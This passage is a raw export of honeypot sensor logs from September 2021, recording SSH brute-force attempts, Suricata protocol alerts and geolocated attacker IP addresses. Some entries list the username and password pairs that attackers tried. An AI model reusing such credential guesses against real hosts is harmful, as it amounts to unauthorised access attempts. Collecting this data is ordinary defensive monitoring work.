"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30390	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:34:30.838545+03	2021-09-20 14:45:02.942143+03	{"_id": "Gwb8AnwBvYTbRNuEczxN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.login.failed", "message": "login attempt [root/mike] failed", "session": "9e36cb3a6b54", "@version": "1", "password": "mike", "username": "root", "timestamp": "2021-09-20T11:34:30.838545Z", "@timestamp": "2021-09-20T11:34:30.838Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30391	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:34:31.514351+03	2021-09-20 14:45:02.943173+03	{"_id": "HAb8AnwBvYTbRNuEdDz7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:34:28.919729+0000", "pkts_toclient": 0, "pkts_toserver": 7, "bytes_toclient": 0, "bytes_toserver": 690}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246489651377, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:34:31.514351Z", "@timestamp": "2021-09-20T11:34:31.514Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
30392	192.168.20.147	109.199.241.180	Suricata	2021-09-20 14:34:31.516261+03	2021-09-20 14:45:02.944173+03	{"_id": "Hwb8AnwBvYTbRNuEdDz7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:34:31.516261Z", "@timestamp": "2021-09-20T11:34:31.516Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30393	192.168.20.147	109.199.241.180	Suricata	2021-09-20 14:34:31.50918+03	2021-09-20 14:45:02.946172+03	{"_id": "IQb8AnwBvYTbRNuEdDz8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:34:31.509180Z", "@timestamp": "2021-09-20T11:34:31.509Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30394	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:34:31.515583+03	2021-09-20 14:45:02.947142+03	{"_id": "Igb8AnwBvYTbRNuEdDz8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:34:28.919729+0000", "pkts_toclient": 0, "pkts_toserver": 8, "bytes_toclient": 0, "bytes_toserver": 780}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246489651377, "payload": "AAAAAQMAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:34:31.515583Z", "@timestamp": "2021-09-20T11:34:31.515Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
30395	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:34:31.885405+03	2021-09-20 14:45:02.948141+03	{"_id": "JQb8AnwBvYTbRNuEdzw1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "9e36cb3a6b54", "@version": "1", "duration": 1.371328592300415, "timestamp": "2021-09-20T11:34:31.885405Z", "@timestamp": "2021-09-20T11:34:31.885Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30396	192.168.20.147	109.199.241.180	Suricata	2021-09-20 14:34:31.960069+03	2021-09-20 14:45:02.950143+03	{"_id": "Jwb8AnwBvYTbRNuEeDzl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:34:31.960069Z", "@timestamp": "2021-09-20T11:34:31.960Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
31253	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:43:25.065747+03	2021-09-20 14:45:04.248143+03	{"_id": "kwYEA3wBvYTbRNuEmkJK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "2a408d80a551", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:43:25.065747Z", "@timestamp": "2021-09-20T11:43:25.065Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30397	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:34:31.959275+03	2021-09-20 14:45:02.951143+03	{"_id": "KQb8AnwBvYTbRNuEeDzl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:34:28.919729+0000", "pkts_toclient": 0, "pkts_toserver": 11, "bytes_toclient": 0, "bytes_toserver": 1050}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246489651377, "payload": "AAAAAQMAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:34:31.959275Z", "@timestamp": "2021-09-20T11:34:31.959Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
30398	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:34:31.958849+03	2021-09-20 14:45:02.952142+03	{"_id": "MQb8AnwBvYTbRNuEeDzl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:34:28.919729+0000", "pkts_toclient": 0, "pkts_toserver": 10, "bytes_toclient": 0, "bytes_toserver": 960}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246489651377, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:34:31.958849Z", "@timestamp": "2021-09-20T11:34:31.958Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
30399	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:34:31.963301+03	2021-09-20 14:45:02.953141+03	{"_id": "Kgb8AnwBvYTbRNuEeDzl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:34:28.919729+0000", "pkts_toclient": 0, "pkts_toserver": 14, "bytes_toclient": 0, "bytes_toserver": 1320}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246489651377, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:34:31.963301Z", "@timestamp": "2021-09-20T11:34:31.963Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
30400	192.168.20.147	109.199.241.180	Suricata	2021-09-20 14:34:31.96129+03	2021-09-20 14:45:02.955172+03	{"_id": "LQb8AnwBvYTbRNuEeDzl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:34:31.961290Z", "@timestamp": "2021-09-20T11:34:31.961Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30401	192.168.20.147	109.199.241.180	Suricata	2021-09-20 14:34:32.961067+03	2021-09-20 14:45:02.956148+03	{"_id": "Nwb8AnwBvYTbRNuEfDzO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:34:32.961067Z", "@timestamp": "2021-09-20T11:34:32.961Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30402	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:34:40.998412+03	2021-09-20 14:45:02.957173+03	{"_id": "Wgb8AnwBvYTbRNuEmjxs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.login.failed", "message": "login attempt [tse/tse] failed", "session": "66aaf47912de", "@version": "1", "password": "tse", "username": "tse", "timestamp": "2021-09-20T11:34:40.998412Z", "@timestamp": "2021-09-20T11:34:40.998Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30404	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:34:41.261769+03	2021-09-20 14:45:02.959142+03	{"_id": "Xgb8AnwBvYTbRNuEnTwc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35394, "timestamp": "2021-09-20T11:34:41.261769", "@timestamp": "2021-09-20T11:34:41.261Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
30405	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:34:42.275434+03	2021-09-20 14:45:02.961141+03	{"_id": "YAb8AnwBvYTbRNuEnjxJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "66aaf47912de", "@version": "1", "duration": 2.7252678871154785, "timestamp": "2021-09-20T11:34:42.275434Z", "@timestamp": "2021-09-20T11:34:42.275Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30406	117.22.230.94	109.199.241.180	Suricata	2021-09-20 14:34:39.822283+03	2021-09-20 14:45:02.962141+03	{"_id": "RQb8AnwBvYTbRNuElDxA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "117.22.230.94", "dest_ip": "192.168.20.116", "flow_id": 1562811659338404, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 2130, "dest_port": 22, "timestamp": "2021-09-20T11:34:39.822283Z", "@timestamp": "2021-09-20T11:34:39.822Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30407	192.168.20.103	109.199.241.180	Suricata	2021-09-20 14:34:33.928444+03	2021-09-20 14:45:02.963141+03	{"_id": "OQb8AnwBvYTbRNuEgDy2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.251", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:34:33.928444Z", "@timestamp": "2021-09-20T11:34:33.928Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30408	172.217.17.196	109.199.241.180	Suricata	2021-09-20 14:34:37.634907+03	2021-09-20 14:45:02.964171+03	{"_id": "Pgb8AnwBvYTbRNuEjDxw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:34:37.209371+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 350}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "172.217.17.196", "asn": 15169, "as_org": "Google Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "172.217.17.196", "stream": 0, "dest_ip": "192.168.20.110", "flow_id": 649342982369755, "payload": "FgMDAIACAAB8AwOzeIe6War8hhbo1Y3rUXVxLZUqLdB9OX1xlkCKmb8ldCCjg0nDz3iIgPDP+eteR2P52cLB6zgNidOrC4xh+RHUuRMBAAA0ACkAAgAAADMAJAAdACA37M4Glk1Grg/FFyV86b7Ow+BpV0hPsk6aPi3NyyxKQgArAAIDBBQDAwABARcDAwBKZuyamR0hVqfpo76ZbhWjlgFAk2A/ZqbtDkoDUZunNPXnVeKblkEdktOyyHKOMp/iAh/HoAel/CyGdKgaZ9rsXJCCfnNlsv1xzqM=", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 52232, "timestamp": "2021-09-20T11:34:37.634907Z", "@timestamp": "2021-09-20T11:34:37.634Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........|...x..Y........Quq-.*-.}9}q.@...%t ..I..x......^Gc.....8\\r.....a........4.).....3.$... 7....MF....%|.....iWHO.N.>-..,JB.+..............Jf....!V.....n....@.`?f...J.Q..4..U...A.....r.2.........,.t..g..\\\\..~se..q.."}}	1	\N	\N	alert	\N	\N
30409	192.168.20.103	109.199.241.180	Suricata	2021-09-20 14:34:33.927614+03	2021-09-20 14:45:02.966172+03	{"_id": "Owb8AnwBvYTbRNuEgDy3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.252", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:34:33.927614Z", "@timestamp": "2021-09-20T11:34:33.927Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30410	192.168.20.147	109.199.241.180	Suricata	2021-09-20 14:34:34.415066+03	2021-09-20 14:45:02.967173+03	{"_id": "OAb8AnwBvYTbRNuEgDy2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:34:34.415066Z", "@timestamp": "2021-09-20T11:34:34.415Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
31279	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:02.76159+03	2021-09-20 14:45:04.280172+03	{"_id": "LAYFA3wBvYTbRNuELkPN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.login.success", "message": "login attempt [root/4444] succeeded", "session": "d8a32464a4ea", "@version": "1", "password": "4444", "username": "root", "timestamp": "2021-09-20T11:44:02.761590Z", "@timestamp": "2021-09-20T11:44:02.761Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	known attacker	\N
30411	172.217.17.196	109.199.241.180	Suricata	2021-09-20 14:34:37.209371+03	2021-09-20 14:45:02.968173+03	{"_id": "PQb8AnwBvYTbRNuEjDxw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:34:37.209371+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 66}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "172.217.17.196", "asn": 15169, "as_org": "Google Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "172.217.17.196", "stream": 0, "dest_ip": "192.168.20.110", "flow_id": 649342982369755, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 52232, "timestamp": "2021-09-20T11:34:37.209371Z", "@timestamp": "2021-09-20T11:34:37.209Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30412	192.168.20.147	109.199.241.180	Suricata	2021-09-20 14:34:33.904595+03	2021-09-20 14:45:02.969171+03	{"_id": "Ogb8AnwBvYTbRNuEgDy2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:34:33.904595Z", "@timestamp": "2021-09-20T11:34:33.904Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
